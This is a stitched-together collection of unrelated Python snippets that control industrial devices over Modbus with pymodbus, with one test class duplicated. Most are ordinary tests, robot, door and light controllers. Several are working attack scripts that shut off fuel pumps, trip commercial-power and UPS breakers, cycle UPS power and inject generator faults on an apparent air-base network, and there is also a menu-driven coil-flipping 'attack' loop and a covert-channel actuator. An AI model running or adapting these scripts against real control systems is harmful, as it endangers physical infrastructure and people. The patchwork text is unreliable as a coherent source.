class TestMbTcpClass1(unittest.TestCase): read_values = range(0xAA50, 0xAA60) write_values = range(0xBB50, 0xBB60) def setUp(self): self.client = ModbusTcpClient(SERVER_HOST) self.client.connect() def tearDown(self): self.client.close() def test_write_single_holding_register(self): rq = self.client.write_register(8, 0xCC) self.assertEqual(rq.function_code, 0x06) rr = self.client.read_holding_registers(8, 1) self.assertEqual(rr.registers[0], 0xCC) rq = self.client.write_register(16, 0x00) self.assertEqual(rq.function_code, 0x86) rq = self.client.write_register(8, 0xAA58) def test_write_coil(self): rq = self.client.write_coil(0, True) self.assertEqual(rq.function_code, 0x05) rq = self.client.write_coil(0, False) self.assertEqual(rq.function_code, 0x05) rq = self.client.write_coil(256, False) self.assertEqual(rq.function_code, 0x85) def test_read_coil(self): coil_read_values = [True, False, True, False, False, True, False, False]
class ModbusTcpNode:
def __init__(self):
rospy.init_node("modbus_tcp_client_node", anonymous=True)
rospy.Subscriber("/vacuum_gripper", Bool, self.callback)
self.UNIT = 0x01
self.client = ModbusClient("192.168.0.150", port=502)
self.client.connect()
rq = self.client.write_coil(0, False)
rospy.loginfo("Initialize Modbus Tcp Node")
def __del__(self):
self.client.close()
def callback(self, data):
if data.data == True:
rq = self.client.write_coil(0, True)
rr = self.client.read_coils(0, 1, unit=self.UNIT)
else:
rq = self.client.write_coil(0, False)
rr = self.client.read_coils(0, 1, unit=self.UNIT)
if not rr.bits[0] == data.data:
rospy.logerr("Failed to send the command. Please try agian")
else:
rospy.loginfo("Vaccum gripper is " +
("activated" if data.data else "deactivated"))
class ModbusModule():
def __init__(self, io_module_name, ip):
logger.debug('Creating new controller with name {} and address {}.'.format(io_module_name, ip))
self.io_module_name = io_module_name
self.ip_address = ip
self.controller_type = CONTROLLER_TYPE.Modbus
# build connection object
self.client = ModbusClient(ip, port=config.DEFAULT_MODBUS_PORT)
self.client.connect()
def __del__(self):
self.client.close()
def __str__(self):
return 'Controller "{}" at address {}'.format(self.io_module_name, self.ip_address)
def get_bit(self, address):
try:
result = self.client.read_coils(address)
bit_value = result.bits[0]
except ConnectionException:
logger.error('Could not connect to Modbus module "{}"!'
.format(self.io_module_name))
bit_value = False
return bit_value
def set_bit(self, address, value):
try:
self.client.write_coil(address, value)
except ConnectionException:
logger.error('Could not connect to Modbus module "{}"!'
.format(self.io_module_name))
class TestMbTcpClass1(unittest.TestCase):
read_values = range(0xAA50, 0xAA60)
write_values = range(0xBB50, 0xBB60)
def setUp(self):
self.client = ModbusTcpClient(SERVER_HOST)
self.client.connect()
def tearDown(self):
self.client.close()
def test_write_single_holding_register(self):
rq = self.client.write_register(8, 0xCC)
self.assertEqual(rq.function_code, 0x06)
rr = self.client.read_holding_registers(8, 1)
self.assertEqual(rr.registers[0], 0xCC)
rq = self.client.write_register(16, 0x00)
self.assertEqual(rq.function_code, 0x86)
rq = self.client.write_register(8, 0xAA58)
def test_write_coil(self):
rq = self.client.write_coil(0, True)
self.assertEqual(rq.function_code, 0x05)
rq = self.client.write_coil(0, False)
self.assertEqual(rq.function_code, 0x05)
rq = self.client.write_coil(256, False)
self.assertEqual(rq.function_code, 0x85)
def test_read_coil(self):
coil_read_values = [
True, False, True, False, False, True, False, False
]
def main():
ur_ctrl = rtde_control.RTDEControlInterface(rsd_conf.UR_IP)
ur_ctrl.moveJ(q.IDLE)
ur_modbus_client = ModbusTcpClient(rsd_conf.UR_IP)
ur_modbus_client.write_coil(16 + rsd_conf.IO_GRIPPER, False)
pi_modbus_client = ModbusTcpClient(rsd_conf.PI_IP, rsd_conf.PI_MODBUS_PORT)
def gripper_grasp(grasp_q, pre_post_q):
ur_ctrl.moveJ(pre_post_q)
ur_ctrl.moveJ(grasp_q)
ur_modbus_client.write_coil(16 + rsd_conf.IO_GRIPPER, True)
ur_ctrl.moveJ(pre_post_q)
def gripper_release():
ur_modbus_client.write_coil(16 + rsd_conf.IO_GRIPPER, False)
order = {"blue": 0, "red": 0, "yellow": 20}
for brick_color_id in range(len(rsd_conf.BRICK_COLORS)):
brick_color = rsd_conf.BRICK_COLORS[brick_color_id]
q_grasp_brick, q_above_brick = q.GRASP_BRICKS[
brick_color_id], q.ABOVE_BRICKS[brick_color_id]
count = order[brick_color]
for _ in range(count):
gripper_grasp(q_grasp_brick, q_above_brick)
ur_ctrl.moveJ(q.ABOVE_CAMERA)
pi_modbus_client.read_input_registers(0, 1)
ur_ctrl.moveJ(q.BRICK_DROP_ORDER_BOX)
gripper_release()
ur_ctrl.moveJ(q.IDLE)
def testWriteCoilFalse(self):
client = ModbusTcpClient("localhost", 502)
client.write_coil(1, 1, unit=1)
# Coil that is not 0 is True
client.write_coil(1, 0, unit=1)
result = client.read_coils(1, 1, unit=1)
self.assertIs(result.bits[0], False)
client.close()
def write_via_tcp_modbus(address, state):
try:
client = ModbusTcpClient(IP_ADDRESS, port=502, timeout=10)
client.write_coil(address, state)
result = client.read_coils(address, 1)
log.debug(result)
client.close()
except RuntimeError as err:
log.debug(err)
def basic_client():
client = ModbusTcpClient(HOST, port=PORT)
try:
client.write_coil(1, True)
except ConnectionException as err:
print("Ensure you have a server running, error: %s" % err)
return
result = client.read_coils(1, 1, unit=UNIT)
print("Result of read_coils is %s" % result.bits[0])
client.close()
class Client:
def __init__(self):
self.client = None
self.handle = None
self.ip = '127.0.0.1'
self.port = 502
def setup(self, config):
self.handle = config
self.ip = config['ipv4']['value']
self.port = config['port']['value']
self.client = ModbusTcpClient(self.ip, self.port)
def execute(self, fc, addr, length=1, values=None):
result = None
if fc == 1:
temp = self.client.read_coils(addr, length)
result = []
for i in range(temp.byte_count):
t2 = temp.bits[i * 16:(i + 1) * 16]
result.append(''.join([str(int(x)) for x in t2]))
elif fc == 2:
temp = self.client.read_discrete_inputs(addr, length)
result = []
for i in range(temp.byte_count):
t2 = temp.bits[i * 16:(i + 1) * 16]
result.append(''.join([str(int(x)) for x in t2]))
elif fc == 3:
temp = self.client.read_holding_registers(addr, length).registers
result = ['{0:016b}'.format(x) for x in temp]
elif fc == 4:
temp = self.client.read_input_registers(addr, length).registers
result = ['{0:016b}'.format(x) for x in temp]
elif fc == 5:
if values:
self.client.write_coil(addr, values[0])
elif fc == 6:
if values:
self.client.write_register(addr, values[0])
elif fc == 15:
if values:
self.client.write_coils(addr, values)
elif fc == 16:
if values:
self.client.write_registers(addr, values)
return result
def update_config(self, conf):
self.ip = conf['ipv4']['value']
self.port = conf['port']['value']
self.client = ModbusTcpClient(self.ip, self.port)
self.handle = conf
def connect(self):
return self.client.connect()
def initdb():
try:
client = ModbusTcpClient(modbus_server_ip, modbus_server_port)
for registre in range(0, 10):
client.write_coil(registre, bool(randbits(1)), unit=UNIT)
client.write_register(registre, bool(randbits(1)), unit=UNIT)
except Exception as err:
print('[error] Can\'t init the Modbus coils')
print('[error] %s' % err)
print('[error] exiting...')
sys.exit(1)
def run(self):
comm=server_addr[random.randint(0,len(serverlist)-1)]
client = ModbusTcpClient(comm, self.port, source_address=(self.ipaddr,0), retries=1, retry_on_empty=True)
while(not self.clientstop.is_set()):
client.write_coil(1, True)
print "coil write from:" + self.ipaddr + " --->" + comm
time.sleep(random.randint(0,3))
print "stopping"
client.socket.shutdown(1)
client.close()
return
def fuel_system():
"""Take out fuel distribution system"""
target = "10.150.1.101"
print("""\nAttacking Fuel Distribution System!
AIN'T GOT NO GAS IN IT!!!\n""")
client = ModbusClient(target)
print(" [+] Turning off all fuel pumps")
client.write_coil(8, False)
client.write_coil(16, False)
client.write_coil(24, False)
print(" [+] Complete")
sleep(1)
def cycle_power():
"""Cause power fluctuations via UPS"""
print("\nPower Surges at the AFB\n")
for l in range(10):
for j in range(101, 105):
target = GEN_OCTETS + str(j)
client = ModbusClient(target)
print(" [+] Attacking ", target)
print(" [+] Power On")
client.write_coil(32, True) # UPS
sleep(2)
client.write_coil(32, False)
print(" [+] Power Off")
class OpenPlcModbus:
def __init__(self):
self.plc = ModbusClient('localhost', port=502)
def get_counter_value(self):
request = self.plc.read_holding_registers(1024, 1)
value = request.registers[0]
return value
def get_motor_status(self):
request = self.plc.read_coils(0, 1)
status = request.bits[0]
return status
def turn_on(self, action):
if action:
self.plc.write_coil(1, True)
else:
self.plc.write_coil(1, False)
def turn_off(self, action):
if action:
self.plc.write_coil(2, True)
else:
self.plc.write_coil(2, False)
def close(self):
self.plc.close()
class LightController(object):
def __init__(self, host):
self.client = ModbusTcpClient(host)
def turn(self, id, option):
if isinstance(option, bool):
if isinstance(id, list):
for item in id:
self.client.write_coil(item, option)
return
else:
self.client.write_coil(id, option)
return
raise Exception
def turn_states(host, port=MODBUS_PORT, state=False, uid=None):
client = ModbusTcpClient(host, port)
try:
if uid is not None:
client.write_coil(uid, state)
result = client.read_coils(uid, 1)
print('{:3d} : {}'.format(uid, _status(result.bits[0])))
else:
values = [state for _ in range(MAX_COILS_COUNT)]
client.write_coils(0, values)
result = client.read_coils(0, MAX_COILS_COUNT)
for i in range(len(result.bits)):
print('{:3d} : {}'.format(i, _status(result.bits[i])))
finally:
client.close()
def power_grid():
"""Take out commercial power and UPS breaker"""
print("""Watch Blue AFB go dark!
Get out your night vision, yo!""")
for j in range(101, 105):
target = GEN_OCTETS + str(j)
print(" [+] Attacking ", target)
print(" [+] Tripping Commercial Power and UPS Breaker")
client = ModbusClient(target)
# Trip the Commercial Power and UPS Breaker
client.write_coil(16, False) # Commercial power
client.write_coil(32, False) # UPS
print(" [+] Complete")
sleep(1)
def write_single_coil(self, command):
parser = argument_parser()
command = 'write_single_coil ' + command
spec = parser.parse_args(command.split())
response = _ModbusClient.write_coil(
self, spec.address, spec.value, unit=spec.unit_id)
return response
def coil1set():
print("coil 1 set")
v.set("coilset")
client = ModbusClient('localhost', port=502)
rq = client.write_coil(0, True, unit=1)
rq = client.write_register(0, 100)
client.close()
def gen_faults():
"""Shuts down emergency generators.
'k' will complete the IP address for each PLC in the electrical distribution system. Each will be targeted by the
attack: 10.100.1.101, 102, 103, and 104.
"""
for k in range(101, 105):
target = GEN_OCTETS + str(k)
print(" [+] Attacking ", target)
print(" [+] Sending fault to generator")
client = ModbusClient(target)
result = client.read_coils(
48, 1) # Read status of each generator fault alarm
if not result.bits[0]: # If fault doesn't exist...
client.write_coil(48, True) # Set generator fault
print(" [+] Complete")
sleep(1)
def ButtonUpdateThread(pin, update_interval, e): print 'ButtomUpdateThread' client = ModbusTcpClient(ip) # Setup pin mode GPIO.setup(pin, GPIO.IN) while True: if not e.isSet(): pin_status = GPIO.input(pin) print status client.write_coil(20, pin_status) time.sleep(update_interval) else: break client.close() print 'Button Stopped'
def send(device, value):
"""
This function writes a new value to a device of the given ip address.
The value has to be a boolean. For example: True, to open the box by the motor (False -> close the box).
"""
logger.debug(
'send method with device: {device} and value = {value}'.format(
device=str(device), value=str(value)))
try:
client = ModbusTcpClient(BOX_IP, port=502, timeout=10)
client.write_coil(int(device), value['value'])
result = client.read_coils(int(device), 1)
logger.debug(result)
client.close()
except RuntimeError as err:
logger.debug(err)
def control_door_by_button():
if 'open' in request.form:
target_door = request.form['open']
for i in door_data:
if i['door'] == target_door:
client = ModbusClient(i['address'], port=502)
client.connect()
client.write_coil(16 + i['channel'], True)
time.sleep(0.5)
client.write_coil(16 + i['channel'], False)
time.sleep(0.5)
elif 'close' in request.form:
target_door = request.form['close']
return redirect('/')
def control_door():
if 'name' in request.args:
target_door = request.args['name']
if 'ctrl' in request.args:
if 'open' in request.args['ctrl']:
for i in door_data:
if i['door'] == target_door:
client = ModbusClient(i['address'], port=502)
client.connect()
client.write_coil(16 + i['channel'], True)
time.sleep(0.5)
client.write_coil(16 + i['channel'], False)
time.sleep(0.5)
else:
pass
else:
pass
return ''
def rotate_vertical_down(self):
# Service for getting commands and modbus for sending commands
registerService = RegisterMapping(3004, 1)
client = ModbusClient(host='192.168.1.101',
port=3004,
timeout=1,
stopbits=1,
bytesize=8,
parity='N',
baudrate=9600,
framer=ModbusRtuFramer)
register_coil = registerService.get_coil_by_name('0001')
# Set motor speed
register_speed = registerService.get_register_by_name('0002')
speed_address = register_speed.get_integer_address()
speed = int(50)
try:
client.connect()
client.write_register(speed_address, speed, unit=1)
client.close()
except pymodbus.exceptions.ConnectionException:
return "No device connected"
# Set motor direction
coil_direction = registerService.get_coil_by_name('0002')
speed_address = coil_direction.get_integer_address()
speed = int(1)
client.connect()
client.write_coil(speed_address, speed, unit=1)
client.close()
# Turn on motor
on_switch = register_coil.get_integer_address()
integer_value = int('1')
client.connect()
client.write_coil(on_switch, integer_value, unit=1)
client.close()
return "Turning down"
def run_sync_client():
client = ModbusClient('localhost', port=5020)
client.connect()
for i in range(5):
log.debug("Reading Coils")
client.read_coils(1, 1 + i, unit=UNIT)
# first param - address: The starting address to read from
# second param - count: The number of coils to read
time.sleep(0.1)
# 100ms przerwy między Reading Coils
log.debug("Reading Coils")
client.read_coils(2, 3 + i, unit=UNIT)
time.sleep(0.1)
log.debug("Write to a Coil")
client.write_coils(1, 4, unit=UNIT)
time.sleep(5)
# 5s przerwy między write coils
log.debug("Write to a Coil")
client.write_coil(4, 3, unit=UNIT)
time.sleep(5)
# log.debug("Read discrete inputs")
# client.read_discrete_inputs(0, 8, unit=UNIT)
# # first param - The starting address to read from
# # second param - The number of discretes to read
#
# log.debug("Write to a holding register and read back")
# client.write_register(1, 10, unit=UNIT)
# # first param - The starting address to write to
# # second param - The value to write to the specified address
#
# log.debug("Read back")
# client.read_holding_registers(1, 1, unit=UNIT)
# # first param - The starting address to read from
# # second param - The number of registers to read
client.close()
def start_gen():
global speed
global volts
global freq
#
# Start Geneator
# 0 to 1800 RPM in 3 seconds
# broken into 100 millisecond segments
#
sleep(5)
client = ModbusClient(target)
for x in range(1, 31):
speed = speed + 60
freq = (speed * poles) / 120
print(freq)
y = int(freq)
client.write_register(1, y)
print(speed)
client.write_register(0, speed)
sleep(.1)
#
# Voltage Regulator begin excitation
# 0 to 440 Volts in 2 seconds
# Broken into 100 millisecond segments
#
for x in range(1, 21):
volts = volts + 22
print(volts)
client.write_register(2, volts)
sleep(.1)
#
# After generator comes up to speed and voltage,
# breaker is shut (Coil address 3) and control
# is given to run_gen() function.
#
client.write_coil(3, True)
run_gen()
class TestFacilityModbusClient(object):
"""Modbus client to communicate with robot test facility using the pymodbus lib"""
_client = None
def _is_connection_open(self):
if self._client is None:
return False
else:
return True
def open(self):
if self._is_connection_open():
return
self._client = ModbusTcpClient('169.254.60.99', 502)
self._client.connect()
def close(self):
if not self._is_connection_open():
return
self._client.close()
self._client = None
def read(self, start_register, end_register):
if not self._is_connection_open():
raise NoOpenConnection("No open connection to server")
return self._client.read_coils(start_register, end_register)
def write(self, register, value):
if not self._is_connection_open():
raise NoOpenConnection("No open connection to server")
response = self._client.write_coil(register, value)
def set_T1_IO_to(self, flag):
self.write(_OPERATION_MODE_T1_REGISTER, flag)
def set_T2_IO_to(self, flag):
self.write(_OPERATION_MODE_T2_REGISTER, flag)
def set_Auto_IO_to(self, flag):
self.write(_OPERATION_MODE_AUTO_REGISTER, flag)
def set_Emergency_IO_to(self, flag):
self.write(_EMERGENCY_REGISTER, flag)
def set_Acknowledge_IO_to(self, flag):
self.write(_ACKNOWLEDGE_REGISTER, flag)
def set_Enabling_IO_to(self, flag):
self.write(_ENABLING_REGISTER, flag)
class CovertActuator():
def __init__(self, BIT_NUMBER=0, RESOLUTION=3):
self.BIT_NUMBER = BIT_NUMBER
self.client = ModbusTcpClient('127.0.0.1')
self.encoded_message = []
self.last_value = ''
self.last_time = ''
self.RESOLUTION = RESOLUTION
def meausre_time(self):
return self.last_time
def set_value(self, value=True):
self.last_time = int(str(
time.time()).split('.')[1][:self.RESOLUTION]) % 2
self.client.write_coil(self.BIT_NUMBER, value)
if self.last_value != '' and self.last_value != value and self.last_value == True:
# print ("Covert Actuator: \t", str(time.time()).split('.')[1][:3])
self.encoded_message.append(
str(time.time()).split('.')[1][:self.RESOLUTION])
self.last_value = value
def __del__(self):
self.client.close()
def run_sync_client(self, addr, value, UNIT):
"""
向数据采集器发送数据
:param addr:
:param value:
:param UNIT:
:return:
"""
# UNIT = 0x01
client = ModbusTcpClient(host=self.config['modbustcp']['host'],
port=self.config['modbustcp']["port"])
client.connect()
log.debug("Reading Coils")
rq = client.write_coil(addr, value, unit=UNIT)
assert (not rq.isError()) # test that we are not an error
client.close()
def activate(self):
rospy.init_node('niryo_node', anonymous=False)
while not rospy.is_shutdown():
if (self.activate_plc == "Activated"):
rospy.loginfo(
"Niryo will do other action, PLC will be deactivated")
self.pub.publish("plc_deactivate")
else:
rospy.loginfo(
"PLC hasn't been activated, Niryo will activate PLC")
self.pub.publish("Activate_plc")
client = ModbusClient("192.168.1.7", port=502)
client.connect()
UNIT = 0x1
print("Escritura de salidas")
rq = client.write_coil(0, [True] * 8, unit=UNIT)
rr = client.read_coils(0, 8, unit=UNIT)
print("Las salidas Q0.0-Q0.7 ", rr.bits)
print("Leer entradas")
rr = client.read_discrete_inputs(0, 8, unit=UNIT)
print("Las entradas I0.0-I0.7 son ", rr.bits)
print("Escritura de un HR")
rq = client.write_register(0, 15, unit=UNIT)
rr = client.read_holding_registers(0, 1, unit=UNIT)
print("HR0 = ", rr.registers)
print("Escritura de varios HR")
rq = client.write_registers(1, [35] * 10, unit=UNIT)
rr = client.read_holding_registers(1, 10, unit=UNIT)
print("HR0 = ", rr.registers)
print("Escritura de varios HR")
rq = client.write_registers(11, [43] * 5, unit=UNIT)
rr = client.read_holding_registers(0, 15, unit=UNIT)
print("HR0 = ", rr.registers)
client.close()
rospy.sleep(1)
def attack(attack_data):
start = datetime.now()
while True:
os.system('clear')
try:
print(" EXIGENT ECHO PLATFORM v.1 ")
print(" _.-^^---....,,-- ")
print(" _-- --_ ")
print("< >) ")
print("| | ")
print(" \._ _./ ")
print(" ```--. . , ; .--''' ")
print(" | | | ")
print(" .-=|| | |=-. ")
print(" `-=#$%&%$#=-' ")
print(" | ; :| ")
print(" _____.,-#%&$@%#&#~,.______ ")
print("=====ATTACKING=====")
print("Attack Duration - {}".format((datetime.now() - start)))
print("Targets:")
for k, v in attack_data.items():
#client = ModbusClient(k)
#print("IP address - {} ".format(k))
print(k)
for k, v in attack_data.items():
client = ModbusClient(k)
for x, e in v['coils'].items():
if e[1].lower() == "y":
client.write_coil(int(x), True)
sleep(1)
client.write_coil(int(x), False)
if e[0].lower() == "true":
#print(x,True)
result = client.write_coil(int(x), True)
elif e[0].lower() == "false":
#print(x, False)
result = client.write_coil(int(x), False)
#result = client.write_coils(x, e)
except KeyboardInterrupt:
print("Cancelling Attack")
return
# module ET-7002
# control I/O
from pymodbus.client.sync import ModbusTcpClient
client = ModbusTcpClient('192.168.3.16', port=502, debug=True)
client.connect()
data1 = client.write_coil(0, False, unit=1)
print(data1)
data2 = client.write_coil(1, False, unit=1)
print(data2)
data3 = client.write_coil(2, False, unit=1)
print(data3)
counter1 = client.read_inputs(2, 1, unit=2)
print(counter1.bits[0])
client.close()
#0: "Einmalige Warmwasserbereitung" AUS
#1: "Einmalige Warmwasserbereitung" EIN
#Fuer die "Einmalige Warmwasserbereitung" wird der Warmwassertemperatur-Sollwert 2 genutzt.
#CO-17
#coiss read write bolean
#register start 00000
#
file_string = '/var/www/html/openWB/ramdisk/smarthome_device_' + str(
devicenumber) + '_viessmann.log'
file_stringpv = '/var/www/html/openWB/ramdisk/smarthome_device_' + str(
devicenumber) + '_pv'
if os.path.isfile(file_string):
f = open(file_string, 'a')
else:
f = open(file_string, 'w')
print('%s devicenr %s ipadr %s ueberschuss %6d try to connect (modbus)' %
(time_string, devicenumber, ipadr, uberschuss),
file=f)
client = ModbusTcpClient(ipadr, port=502)
rq = client.write_coil(16, True, unit=1)
print(rq, file=f)
client.close()
print(
'%s devicenr %s ipadr %s Einmalige Warmwasseraufbereitung aktiviert CO-17 = 1'
% (time_string, devicenumber, ipadr),
file=f)
f.close()
f = open(file_stringpv, 'w')
f.write(str(1))
f.close()
class ModbusClient:
connected = False
def __init__(self, *kwargs):
self.connect()
def connect(self):
"""Open Modbus connection
"""
if not self.connected:
self.client = ModbusTcpClient("192.168.50.238", port=502)
self.client.connect()
self.connected = True
def transfer_bahn_nr(self, nr):
"""Send the number to PLC
:Parameters:
`nr`: int
number of bahn to build
:Returns:
bool, True if processing went well
"""
# Write number into memory
print "write number", nr
rq = self.client.write_register(532, nr)
# Set flag to true/false => PLC reads the value in memory
rq = self.client.write_coil(8481, True)
time.sleep(1)
rq = self.client.write_coil(8481, False)
return True
def start_build(self):
"""Start the build process
"""
rq = self.client.write_coil(8480, True)
time.sleep(0.5)
rq = self.client.write_coil(8480, False)
def read_active_bahn(self):
"""Read the current loaded bahn from the PLC
:Returns:
int, Number of bahn which is currently loaded
"""
rq = self.client.read_holding_registers(533, 1)
return int(rq.registers[0])
def is_machine_building(self):
"""
:Returns:
bool, True if machine is building
"""
def send_array(self, array):
"""Send the array to PLC
:Parameters:
`array`: list
list with dictionaries of cubes
:Returns:
bool, True if sending went well.
"""
if not self.connected:
print ("You don't have an open Modbus connection! - please restart server!")
return False
# check array size
AMMOUNT_OF_CUBES = 106
c = 0
for cube in array:
c += 1
if c != AMMOUNT_OF_CUBES:
print ("Array size isn't suitable. - size is: " + str(c) + " but it should be:" + str(AMMOUNT_OF_CUBES))
return False
# write cubes into PLC
lis = array
c = 0
for cube in lis:
try:
# write x
rq = self.client.write_register(c, cube["x"])
c += 1
# write y
rq = self.client.write_register(c, cube["y"])
c += 1
# write z
rq = self.client.write_register(c, cube["z"])
c += 1
# write rot
rq = self.client.write_register(c, cube["typ"])
c += 1
# write type
rq = self.client.write_register(c, cube["rot"])
c += 1
except:
print ("Can't send the cube data to PLC over Modbus")
print ("Cubes sent to PLC")
return True
class Connection():
def __init__(self, indicator_list, coil_on_list, coil_off_list, command_list, coil_list, port,
method="rtu", timeout=0.1, unit=0x01):
self.unit = unit
self.indicator_list = indicator_list
self.coil_on_list = coil_on_list
self.coil_off_list = coil_off_list
self.coil_list = coil_list
self.command_list = command_list
self.lock = threading.Lock()
if method == "rtu":
self.client = ModbusSerialClient(method=method, port=port, baudrate=19200, stopbits=1, bytesize=8,
timeout=timeout)
elif method == "tcp":
self.client = ModbusTcpClient(host=port)
def translate(self, command):
self.lock.acquire()
self.client.connect()
print self.client.connect()
# input registers
if command.split("_")[0] == "IReg":
rr = self.client.read_input_registers(self.indicator_list[command.split()[0]], 1, unit=self.unit)
self.client.close()
self.lock.release()
return rr.getRegister(0)
# coils
elif command.split("_")[0] == "Coil":
if command.split()[0] in self.coil_on_list:
wr = self.client.write_coil(self.coil_on_list[command.split()[0]], 1, unit=self.unit)
rr = self.client.read_coils(self.coil_on_list[command.split()[0]], 1, unit=self.unit)
elif command.split()[0] in self.coil_off_list:
wr = self.client.write_coil(self.coil_off_list[command.split()[0]], 0, unit=self.unit)
rr = self.client.read_coils(self.coil_off_list[command.split()[0]], 1, unit=self.unit)
elif command.split()[0] in self.coil_list and len(command.split()) > 1 and \
command.split()[1].isdigit():
wr = self.client.write_coil(self.coil_list[command.split()[0]], int(command.split()[1]),
unit=self.unit)
rr = self.client.read_coils(self.coil_list[command.split()[0]], 1, unit=self.unit)
self.client.close()
self.lock.release()
return rr.getBit(0)
# holding registers
elif command.split("_")[0] == "HReg":
if len(command.split()) > 1 and command.split()[1].isdigit():
wr = self.client.write_registers(self.command_list[command.split()[0]], [int(command.split()[1])],
unit=self.unit)
rr = self.client.read_holding_registers(self.command_list[command.split()[0]], 1, unit=self.unit)
self.client.close()
self.lock.release()
return rr.getRegister(0)
else:
print "Not correct command"
self.lock.release()
return "Not correct command"
#---------------------------------------------------------------------------#
client = ModbusClient('127.0.0.1')
#---------------------------------------------------------------------------#
# example requests
#---------------------------------------------------------------------------#
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------#
rq = client.write_coil(1, True)
rr = client.read_coils(1,1)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits[0] == True) # test the expected value
rq = client.write_coils(1, [True]*8)
rr = client.read_coils(1,8)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits == [True]*8) # test the expected value
rq = client.write_coils(1, [False]*8)
rr = client.read_discrete_inputs(1,8)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits == [True]*8) # test the expected value
rq = client.write_register(1, 10)
class InModbus(ApplicationSession):
"""
Checks the state of the relays of the lights (eshl/eshl.wago.v1.switch) and
makes three different RPCs to toggle/switch on/switch off the lights available.
"""
def __init__(self, config=None):
ApplicationSession.__init__(self, config)
self.pfcIp = '192.168.1.52'
self.modbusTcpPort = 502
self.client = ModbusClient(self.pfcIp, self.modbusTcpPort)
#==============================================================================
# Generates a blank Dataset with the current system timestamp
#==============================================================================
def blankDataSetGen(self):
blankDataset = {'K16': None,
'K17': None,
'K18': None,
'K19': None,
'K20': None,
'K21': None,
'TimestampSYS' : round(time.time() * 1000)
}
return blankDataset
def requestLoop(self):
try:
if (self.client.connect() is False):
print('not connected')
self.client = self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
address = 0
timestampSys = round(time.time() * 1000)
result = self.client.read_coils(560, 6)
relayState = {'K16': result.bits[0],
'K17': result.bits[1],
'K18': result.bits[2],
'K19': result.bits[3],
'K20': result.bits[4],
'K21': result.bits[5],
'TimestampSYS' : timestampSys}
self.publish(u'eshl.wago.v1.switch', relayState)
except ConnectionException as connErr:
relayState = self.blankDataSetGen()
self.publish(u'eshl.wago.v1.switch', relayState)
print(str(connErr))
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
@inlineCallbacks
def toggleSwitch(self, id):
try:
if (self.client.connect() is False):
print('not connected')
self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
print("toggleSwitch {}".format(id))
id = int(id)
if (id >= 16 and id <= 21):
id = 32768 + (id - 16)
elif (id == 0):
id = 32768 + 6
else:
return "unknown switch"
self.client.write_coil(id, 1)
yield sleep(0.1)
self.client.write_coil(id, 0)
return "ok"
except ConnectionException as connErr:
return "connection error"
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
return "connection error"
@inlineCallbacks
def switchOn(self, id):
try:
if (self.client.connect() is False):
print('not connected')
self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
print("switchOn {}".format(id))
id = int(id)
state = False
result = self.client.read_coils(560, 6)
if (id >= 16 and id <= 21):
id = (id - 16)
if(result.bits[id] is False):
self.client.write_coil(32768 + id, 1)
yield sleep(0.1)
self.client.write_coil(32768 + id, 0)
elif (id == 0):
for i in range(6):
if(result.bits[i] is False):
self.client.write_coil(32768 + i, 1)
yield sleep(0.1)
for i in range(6):
if(result.bits[i] is False):
self.client.write_coil(32768 + i, 0)
else:
return "unknown switch"
return "ok"
except ConnectionException as connErr:
return "connection error"
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
return "connection error"
@inlineCallbacks
def switchOff(self, id):
try:
if (self.client.connect() is False):
print('not connected')
self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
print("switchOff {}".format(id))
id = int(id)
state = True
result = self.client.read_coils(560, 6)
if (id >= 16 and id <= 21):
id = (id - 16)
if(result.bits[id] is True):
self.client.write_coil(32768 + id, 1)
yield sleep(0.1)
self.client.write_coil(32768 + id, 0)
elif (id == 0):
for i in range(6):
if(result.bits[i] is True):
self.client.write_coil(32768 + i, 1)
yield sleep(0.1)
for i in range(6):
if(result.bits[i] is True):
self.client.write_coil(32768 + i, 0)
else:
return "unknown switch"
return "ok"
except ConnectionException as connErr:
return "connection error"
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
return "connection error"
#==============================================================================
# Ensures that the requestLoop is called exactly once every second, sleeps for the rest of the time
#==============================================================================
def onJoin(self, details):
ApplicationSession.onJoin(self, details)
print("session ready")
self.register(self.toggleSwitch, u'eshl.wago.v1.switch.toggle')
self.register(self.switchOn, u'eshl.wago.v1.switch.on')
self.register(self.switchOff, u'eshl.wago.v1.switch.off')
self._loop = task.LoopingCall(self.requestLoop)
self._requestLoopHandle = self._loop.start(1.0)
def onLeave(self, details):
ApplicationSession.onLeave(self, details)
print("leaving")
if(hasattr(self, "_loop") and self._loop):
self._loop.stop()
def run_sync_client():
# ------------------------------------------------------------------------#
# choose the client you want
# ------------------------------------------------------------------------#
# make sure to start an implementation to hit against. For this
# you can use an existing device, the reference implementation in the tools
# directory, or start a pymodbus server.
#
# If you use the UDP or TCP clients, you can override the framer being used
# to use a custom implementation (say RTU over TCP). By default they use
# the socket framer::
#
# client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer)
#
# It should be noted that you can supply an ipv4 or an ipv6 host address
# for both the UDP and TCP clients.
#
# There are also other options that can be set on the client that controls
# how transactions are performed. The current ones are:
#
# * retries - Specify how many retries to allow per transaction (default=3)
# * retry_on_empty - Is an empty response a retry (default = False)
# * source_address - Specifies the TCP source address to bind to
#
# Here is an example of using these options::
#
# client = ModbusClient('localhost', retries=3, retry_on_empty=True)
# ------------------------------------------------------------------------#
client = ModbusClient('localhost', port=5020)
# client = ModbusClient(method='ascii', port='/dev/pts/2', timeout=1)
# client = ModbusClient(method='rtu', port='/dev/ttyp0', timeout=1)
client.connect()
# ------------------------------------------------------------------------#
# specify slave to query
# ------------------------------------------------------------------------#
# The slave to query is specified in an optional parameter for each
